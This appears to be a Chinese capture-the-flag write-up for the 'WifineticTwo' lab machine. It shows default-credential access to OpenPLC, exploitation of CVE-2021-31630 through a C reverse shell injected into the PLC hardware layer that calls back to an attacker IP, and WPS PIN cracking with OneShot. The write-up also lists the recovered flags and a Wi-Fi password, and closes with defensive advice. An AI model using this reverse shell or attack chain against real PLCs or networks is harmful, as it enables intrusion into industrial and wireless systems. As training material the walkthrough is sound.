[Meachines][Medium]WifineticTwo
字数 877 2025-08-19 12:42:07
OpenPLC 渗透测试与无线网络接管实战指南
1. 目标识别与初始扫描
使用 Nmap 进行初始扫描:
nmap -p- -sC -sV 10.10.11.7 --min-rate 1000
2. OpenPLC 认证绕过
-
使用默认凭证登录 OpenPLC 系统:
- 用户名:
openplc - 密码:
openplc
- 用户名:
-
登录后导航至
Programs页面,该页面存在文件上传功能
3. ST 语言程序分析
ST (Structured Text) 是一种用于 PLC 编程的高级语言,类似 C 和 Pascal。示例程序结构:
PROGRAM job
VAR
var_in : BOOL;
var_out : BOOL;
END_VAR
var_out := var_in;
END_PROGRAM
CONFIGURATION Config0
RESOURCE Res0 ON PLC
TASK Main(INTERVAL := T#50ms, PRIORITY := 0);
PROGRAM start WITH Main : job;
END_RESOURCE
END_CONFIGURATION
关键组件:
PROGRAM声明是 ST 语言的规范要求CONFIGURATION定义 PLC 配置RESOURCE指定资源分配TASK定义任务周期和优先级
4. 漏洞利用 (CVE-2021-31630)
-
上传恶意 ST 文件:
- 文件内容包含后门代码
- 通过
Programs页面上传
-
修改 Hardware 配置插入恶意代码:
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut() {
int port = 10032;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.23");
connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
代码分析:
- 创建反向 shell 连接到攻击者机器 (10.10.16.23:10032)
dup2调用将标准输入、输出和错误重定向到套接字execve执行/bin/sh提供交互式 shell
5. 权限提升与用户标志获取
- 获取用户标志:
cat /root/user.txt
# 输出: fa96bfd0991067bd5612c26372c0e379
6. 无线网络接管
6.1 WPS PIN 码破解
使用 OneShot 工具进行 WPS PIN 码破解:
./oneshot -i wlan0 -b 02:00:00:00:02:00 -K
6.2 无线网络配置
- 编辑 WPA 配置:
vim /etc/wpa_supplicant/wpa_supplicant-wlan0.conf
配置文件内容:
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1
network={
ssid="plcrouter"
psk="NoWWEDoKnowWhaTisReal123!"
key_mgmt=WPA-PSK
proto=WPA2
pairwise=CCMP TKIP
group=CCMP TKIP
scan_ssid=1
}
- 网络接口配置:
vim /etc/systemd/network/25-wlan.network
内容:
[Match]
Name=wlan0
[Network]
DHCP=ipv4
- 重启服务:
systemctl enable wpa_supplicant@wlan0.service
systemctl restart systemd-networkd.service
systemctl restart wpa_supplicant@wlan0.service
7. Root 标志获取
成功连接无线网络后获取 root 标志:
82c3c9d3e55882fbbb91e73aea962d67
关键点总结
- OpenPLC 默认凭证利用
- ST 程序结构理解与恶意文件构造
- CVE-2021-31630 漏洞手工利用
- PLC 硬件配置注入反向 shell
- WPS PIN 码破解技术
- Linux 无线网络配置与管理
- 系统服务重启与网络连接建立
防御建议
- 修改 OpenPLC 默认凭证
- 限制文件上传功能
- 更新 OpenPLC 到最新版本
- 禁用 WPS 功能或使用强 PIN 码
- 实施网络隔离,限制 PLC 网络访问权限